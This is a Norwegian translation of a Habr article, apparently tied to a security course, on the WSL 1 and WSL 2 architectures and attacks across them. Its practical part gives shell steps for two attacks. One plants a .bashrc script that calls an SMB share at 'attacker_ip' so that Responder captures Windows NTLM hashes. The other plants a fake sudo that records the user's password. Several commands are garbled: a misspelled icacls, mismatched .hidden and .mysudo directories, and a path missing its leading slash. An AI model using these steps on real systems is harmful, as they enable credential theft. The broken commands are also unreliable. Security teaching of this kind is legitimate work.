WSL eksperimenter. Del 1

Hei, Habr! I oktober lanserer OTUS et nytt kull av kurset «Sikkerhet i Linux». I forkant av kurset deler vi en artikkel skrevet av en av våre forelesere – Aleksandr Kolesnikov.

I 2016 introduserte Microsoft en ny teknologi for IT-samfunnet: WSL (Windows Subsystem for Linux), som skulle forene to tidligere uforenlige konkurrenter som konkurrerte om popularitet blant både vanlige og avanserte brukere av operativsystemene: Windows og Linux. Denne teknologien ga mulighet for å bruke verktøy fra Linux-operativsystemet i et Windows-miljø uten å måtte starte Linux ved for eksempel å bruke multiboot. På Habr kan du finne et stort antall artikler som beskriver fordelene ved å bruke WSL. Dessverre ble det imidlertid ikke avdekket noen sikkerhetsundersøkelser for denne kombinasjonen av operativsystemer på tidspunktet for opprettelsen av artikkelen på denne ressursen. Dette innlegget vil forsøke å rette opp i dette. Artikkelen vil ta for seg spesifisitetene ved arkitekturene WSL 1 og 2, samt analysere flere angrepsmetoder mot systemer som bruker disse teknologiene. Artikkelen er delt inn i to deler. Den første delen vil presentere de viktigste teoretiske angrepsmetodene fra både Linux og Windows, mens den andre delen vil inneholde oppsett av testmiljø og reproduksjon av angrep.

WSL 1: spesifisiteter ved arkitekturen

For en mest nøyaktig forståelse av sikkerhetsproblemene knyttet til WSL, er det nødvendig å definere de viktigste nyansene relatert til implementeringen av subsystemet. En av de viktigste brukeroppgavene som WSL løser, er å gi mulighet for å jobbe via Linux-terminaler på en vert med Windows-operativsystem. Den foreslåtte kompatibiliteten var også så naturlig at Linux-kjørbare filer (ELF) kunne kjøres direkte i Windows-systemet. For å oppnå disse målene ble det i Windows 10 laget et spesialsubsystem som tillot kjøring av Linux-applikasjoner ved hjelp av et sett med bestemte systemanrop — dermed ble det forsøkt å mappe settet av syscaller fra Linux til Windows. Fysisk ble dette realisert ved å legge til nye drivere og et nytt prosessformat. Visuelt så arkitekturen slik ut:

I praksis ble interaksjonen med Linux-operativsystemet organisert gjennom flere kjernemoduler og en spesiell type prosesser — pico. Av figuren ovenfor kan vi se at prosessen som kjører i et Linux-instans på verten, må være nativ og bruke de samme ressursene som vanlige Windows-applikasjoner. Men hvordan oppnå dette? I prosjektet Drawbridge ble konseptene for prosesser utviklet for Windows, som tilveiebrakte alle nødvendige komponenter av operativsystemet (avhengig av versjonen) for å kjøre applikasjonen fra et annet OS.

Vi bør merke oss at den foreslåtte abstraksjonen tillot å ikke være avhengig av operativsystemet (spesielt — Windows), der det forventes at prosessen fra et annet OS kjøres, og tilbød en generell tilnærming.

Dermed kunne enhver applikasjon inne i pico-prosessen kjøre uten hensyn til Windows-kjernen:

1. Kompatibilitetsproblemer og oversettelse av systemanrop må løses av spesielle leverandører;
2. Tilgangsdelinger må utføres gjennom Sikkerhetsmonitoren. Monitoren er plassert i kjernen, og derfor var Windows nødvendig å oppgradere med en ny driver som kunne fungere som leverandør for slike prosesser. Prototypen av pico-prosessen er skjematisk vist nedenfor:

Siden filsystemet i Linux bruker store og små bokstaver i fil- og mappenavn, ble det lagt til 2 typer filsystemer i Windows for å jobbe med WSL — VolFS og DriveFS. VolFS er en implementering av Linux-filsystemet, mens DriveFS er et filsystem som fungerer etter Windows-reglene, men har mulighet til å velge følsomhet for store og små bokstaver i navn.

WSL 2

WSL 1 hadde en rekke begrensninger som hindret den i å løse et bredt spekter av oppgaver: for eksempel manglet den muligheten til å kjøre 32-biters Linux-applikasjoner, og det var ikke mulig å bruke driverne for enheter. Derfor ble WSL 2 lansert i 2020, som endret tilnærmingen til bygging av subsystemet. WSL 2 er en optimalisert virtuell maskin som har ressursegenskapene til WSL 1. Nå kan brukeren av Windows velge nødvendig versjon av Linux subsystemet, avhengig av problemene som skal løses. For å mitigere mulige sårbarheter, ble WSL 2 implementert på basis av Hyper-V i Windows 10. I denne formen har Windows muligheten til å kjøre Linux-operativsystemkjerne isolert. Det er verdt å huske at versjon 1 av WSL ble introdusert som en beta-funksjon, som skulle vise utviklingsretningen for Windows på dette området, så overgangen til Hyper-V var uunngåelig. Den endelige arkitekturen ser slik ut:

I denne versjonen har kjerner for Windows- og Linux-systemer sine egne ressurser, og overlappingen eksisterer bare i filsystemet, men denne overlappingen kan ikke kalles fullstendig. Interaksjonen mellom filsystemene skjer gjennom en klient-server-wrapper som fungerer over protokoll 9P.

Per i dag gir Microsoft muligheten til å veksle mellom WSL 1 og WSL 2. Begge versjoner er tilgjengelige for bruk.

Sikkerhet i WSL

For øyeblikket finnes det flere arbeider som beskriver forskjellige tilnærminger til bruken av legitime verktøy fra operativsystemet for å angripe interaksjonen mellom subsystemene. Vi vil bruke deres scenarier for å teste gyldigheten av angrepene på tidspunktet for skrivingen. Den generelle listen over angrep og gjennomføringsscenarier:

1. Implementering av filsystem: tilgangsrettigheter, tilstedeværelse av delte kataloger/utvekslingsmekanismer.

Forskning ble utført om brudd på tilgangsregler fra Linux FS->Windows FS, Windows FS->Linux FS. Forskningen demonstrerte muligheten for å modifisere en spesifisert fil inne i det målrettede operativsystemet. Det ble også gjort forsøk på å bytte, lage tvillinger og slette deler av filsystemene.

Scenario:

• A. Angrep fra Windows-operativsystemet — modifikasjon av filer fra katalogen /etc i Linux-operativsystemet.
• B. Angrep fra Linux-operativsystemet — modifikasjon av filer i katalogene: C:Windows, C:Program Files, C:Users<User>

2. Implementering av nettverksstakken.

Forskning ble utført på eksempler på angrep fra Linux-operativsystemet mot Windows. Det ble benyttet spesifikasjoner fra nettverksstakken, nemlig autentiseringsmekanismer på ulike ressurser.

Scenario:

• Åpning av port som er opptatt i Windows-systemet.
• Åpning av port uten tilsvarende rettigheter.
• Kjøring av reverse shell ved bruk av elf-fil i Windows-operativsystemet.

3. Skjuling av kjøring av ondsinnede programvareprosesser gjennom WSL-subsystemet.

Forskningen var basert på en enkel fakta — beskyttelsessystemene kan ikke overvåke hendelser i et annet kjern som fungerer med en legitim provider fra operativsystemets side i tilfelle med WSL 1. Med WSL 2 er det ikke mulig å se hendelser som skjer i en egen kjerne innenfor en lett virtualmaskin.

Scenario:

1) Kjør en applikasjon for ekstern tilgang til systemet og se på registrerte hendelser.

WSL 1 eksperimenter: fangst av hash (Windows OS)

Endelig har vi nådd den praktiske delen. Først må vi sette opp miljøet for testene. Alle eksperimenter vil bli utført på en plattform med installert Windows 10 2004. Som operativsystembilde for WSL ble Ubuntu 18.04 valgt. Bildet ble valgt tilfeldig, og enhver annen vil fungere på samme måte. Kommandoene for å sette opp plattformen:

Det må først startes powershell.exe som administrator.

For WSL 1 må følgende kommandoer kjøres:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Aktiver WSL-funksjonen
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Last ned Linux-bildet fra Microsoft-butikken

Etter omstart av plattformen kan kommandoen bash kalles. Hvis alt har fungert riktig, vil du se omtrent denne utdataen i Windows-konsollen:

Som angripermaskin vil vi bruke Kali Linux-distribusjonen, alle maskinene må befinne seg i det samme lokale nettverket.

La oss anta at vi har ikke-privilegert tilgang til WSL på en Windows-maskin. Vi skal prøve å utføre et angrep på Linux-operativsystemet ved å kjøre en kommando fra Linux. For å gjennomføre angrepet bruker vi en enkel autostart-teknikk - vi vil legge til skriptet vårt til utførelse i Linux-miljøet. For dette må vi endre filen .bashrc.

På maskinen med WSL kjører vi:

	1. bash
	2. Gå til brukerens hjemmeområde: cd /home/sam/
	2. echo "home/sam/.attack.sh" >> .bashrc
	3. echo "icalcs.exe \\attacker_ip\\shareName\" > /dev/null 2>&1" >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

På Kali Linux-maskinen kjører vi:

1. Responder -I eth0 -rdvw

På Windows-maskinen starter vi bash.

Vi venter på resultatet på Kali Linux-maskinen:

Slik fikk vi Windows-brukerens hashes via WSL-systemet ved å kjøre kommandoen på Linux-systemet.

WSL 1 eksperimenter: innhenting av passord for bruker (Linux OS)

La oss gjennomføre et annet eksperiment. I løpet av dette sjekker vi vil vi legge til filen .bashrc med flere kommandoer for å få passordet til Linux-operativsystemets bruker.

Vi starter bash og skriver inn kommandoene:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] passord for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Beklager, prøv igjen."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

For å fullføre angrepet vellykket må bruker Sam kalle sudo i Linux-terminalen. Etter dette vil passordet til Linux-brukeren være i filen pass.txt:

Gjennomføringen av angrepene ble presentert kun for teoretisk kjennskap.

I neste del av artikkelen vil implementeringen av 9P-protokollen bli beskrevet, det vil bli vurdert å lage en skanner for denne protokollen, samt utført et angrep ved hjelp av den.

Litteraturlisten

• WSL 2 UNDERSØKELSE AV UØNSKET OPPTREKK
• Dokumentasjon for Windows Subsystem for Linux

Read more

• Hvordan velge programvare for sanntidspatching av Linux-kjernen

Kilde: habr.com